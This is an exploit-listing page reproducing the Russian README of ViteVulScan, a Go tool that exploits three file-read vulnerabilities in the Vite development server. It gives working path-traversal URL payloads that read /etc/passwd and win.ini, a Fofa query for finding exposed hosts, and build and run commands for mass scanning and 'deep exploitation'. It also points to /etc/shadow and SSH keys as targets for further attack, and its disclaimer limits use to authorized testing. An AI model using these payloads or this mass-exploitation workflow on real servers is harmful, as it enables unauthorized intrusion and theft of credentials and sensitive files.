Sploitus

Exploit for ViteVulScan

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN151 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JACKIEYA-VITEVULSCAN
# ViteVulScan

## ОписаниС уязвимостСй

Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ 3 уязвимости: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, всС ΠΎΠ½ΠΈ связаны с Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° сСрвСрС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Vite. Π­Ρ‚ΠΈ Ρ‚Ρ€ΠΈ уязвимости ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ ΠΏΠΎΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ ΠΈ просты Π² эксплуатации Π±Π΅Π· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ.

### POC уязвимостСй:

CVE-2025-30208:

> Windows: /@fs/C://Windows/win.ini?import&raw??
> 
> Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

> Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
> 
> Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

> Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
> 
> Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Π§Π°ΡΡ‚ΡŒ ΠΏΡƒΡ‚ΠΈ /@fs ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ.

### Бинтаксис поиска Fofa:

> body="/@vite/client"

## Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ ΠΏΠΎ использованию инструмСнта

### ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ инструмСнта

  1. ΠœΠΎΠΆΠ΅Ρ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с fofa для массового использования.
  2. АнализируСт Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ уязвимости ΠΈ выполняСт Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ использованиС.
  3. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ возмоТности конкурСнтности Go, Ρ‡Ρ‚ΠΎ позволяСт быстро ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ массовоС сканированиС большого количСства Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² Π·Π° ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠ΅ врСмя.



### Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ ΠΏΠΎ сборкС

ВСрсия Go: `go 1.20 ΠΈ Π²Ρ‹ΡˆΠ΅`

ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠΎΡ€Π½Π΅Π²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°

Π‘Π½Π°Ρ‡Π°Π»Π° синхронизируйтС зависимости

> go mod tidy

Π—Π°Ρ‚Π΅ΠΌ скомпилируйтС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚

> go build -o ViteVulScan -ldflags="-s -w" -trimpath .

ЗапуститС скрипт:

> ./ViteVulScan

Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ прямо Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ:

> go run .

### ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ

Π‘ΠΊΡ€ΠΈΠΏΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ взаимодСйствиС с fofa для поиска Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ массового сканирования.

Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ fofa, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» app.ini находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ скомпилированный Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» app.ini Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ config. Π’ ΠΏΠΎΠ»Π΅ fofakey ΡƒΠΊΠ°ΠΆΠΈΡ‚Π΅ свой ΠΊΠ»ΡŽΡ‡ fofa, num β€” ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎΠ΅ количСство Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² для сканирования.

Если Ρƒ вас Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ подходящий синтаксис поиска fofa для этой уязвимости, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅ fofaQuery ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.

### ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки

> Usage of ./ViteVulScan:

### ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ

  1. Для массового сканирования всСх URL-Ρ†Π΅Π»Π΅ΠΉ Π² Ρ„Π°ΠΉΠ»Π΅ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π² Ρ„Π°ΠΉΠ»Π΅ каТдая строка содСрТит ΠΎΠ΄ΠΈΠ½ URL. URL ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΌ с http ΠΈΠ»ΠΈ просто Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ/ip, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: 

root@kitploit:~
         
         http://example1.com 
           example2.com
           127.0.0.1
         

  2. ΠŸΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² -fofa ΠΈ -f для сканирования, Π°ΠΊΡ‚ΠΈΠ²Ρ‹ с ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ автоматичСски ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ Π² Ρ„Π°ΠΉΠ» с ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° "тСкущая_ΠΌΠ΅Ρ‚ΠΊΠ°_Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.csv".
  3. ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ΡΡ использованиС ΠΊΠ°ΠΊ для Linux, Ρ‚Π°ΠΊ ΠΈ для Windows. Π‘Π»ΠΎΠ²Π°Ρ€ΠΈ находятся Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ dict: linux_sensitive_path.txt ΠΈ windows_sensitive_path.txt. Если Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ словари.



### ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹

**ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1:** ВзаимодСйствиС с fofa для массового сканирования:

./ViteVulScan -fofa

![image-20250410145741383](https://assets.kitploit.com/production/public/readmes/27250/0ad219426ee452eadaa3256e8c47e4f8caadc0450a5c1b2dfb28bb643435ca3d.png)

ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ сканирования Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ result появится CSV-Ρ„Π°ΠΉΠ» с URL-адрСсами ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… уязвимостСй, Π½Π°Π·Π²Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΊΠ΅:

![image-20250410151756704](https://assets.kitploit.com/production/public/readmes/27250/2f433066b1442b3afc0710f348be5c5fff7b7a68910abf6fda2b659de306c881.png)

**ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2:** Π“Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ использованиС уязвимости для URL:

./ViteVulScan -u example.com -e

![image-20250410150341952](https://assets.kitploit.com/production/public/readmes/27250/cc9441574ec3515e19745d514eae24dbb76d78362d0c59ffc82e58855892e4c5.png)

Если отобраТаСтся "ИспользованиС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ", ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ result. Π’Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ с ΠΈΠΌΠ΅Π½Π΅ΠΌ сканированного URL. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΠΈ сохранСно Π² исходном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:

![image-20250410150836985](https://assets.kitploit.com/production/public/readmes/27250/feb700d82497505a048ee8c0df9159a2b1f66b2f406240906d91abe28bc16d37.png)

НапримСр, Π² сохранённом Ρ„Π°ΠΉΠ»Π΅ result/localhost:5173/etc/passwd Π²ΠΈΠ΄Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΠ΅ содСрТимоС Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ для дальнСйшСго использования (Ссли удастся ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ /etc/shadow ΠΈΠ»ΠΈ SSH-ΠΊΠ»ΡŽΡ‡ΠΈ сСрвСра, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ дальшС).

![image-20250410151044619](https://assets.kitploit.com/production/public/readmes/27250/af92c5d360a02cb43493d628a4aa711cf7e1d37112a14afcef5c9ed4f1cf74e1.png)

# ΠžΡ‚ΠΊΠ°Π· ΠΎΡ‚ отвСтствСнности

Π”Π°Π½Π½Ρ‹ΠΉ инструмСнт ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для исслСдований Π² области бСзопасности ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСстирования. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² Π½Π΅Π·Π°ΠΊΠΎΠ½Π½Ρ‹Ρ… цСлях. ΠžΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° любоС Π½Π΅Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС с использованиСм Π΄Π°Π½Π½ΠΎΠ³ΠΎ инструмСнта нСсёт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.

# ОбновлСния

## 29 ΠΌΠ°Ρ€Ρ‚Π° β€” ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ выпуск:

  * Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° функция сбора Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· fofa.
  * Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° уязвимости CVE_2025_30208.
  * Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° функция ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.



## 1 апрСля:

  * Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° функция Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ использования.



## 2 апрСля:

  * Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½ΠΎΠ²ΠΎΠΉ уязвимости CVE_2025_31125.



## 9 апрСля:

  * Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ошибки Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ fofa.
  * Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚Π½ΠΎΡΡ‚ΡŒ для быстрого массового сканирования Π°ΠΊΡ‚ΠΈΠ²ΠΎΠ² Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ уязвимости.
  * Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° CVE_2025_31486.
  * ИзмСнСна структура Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°.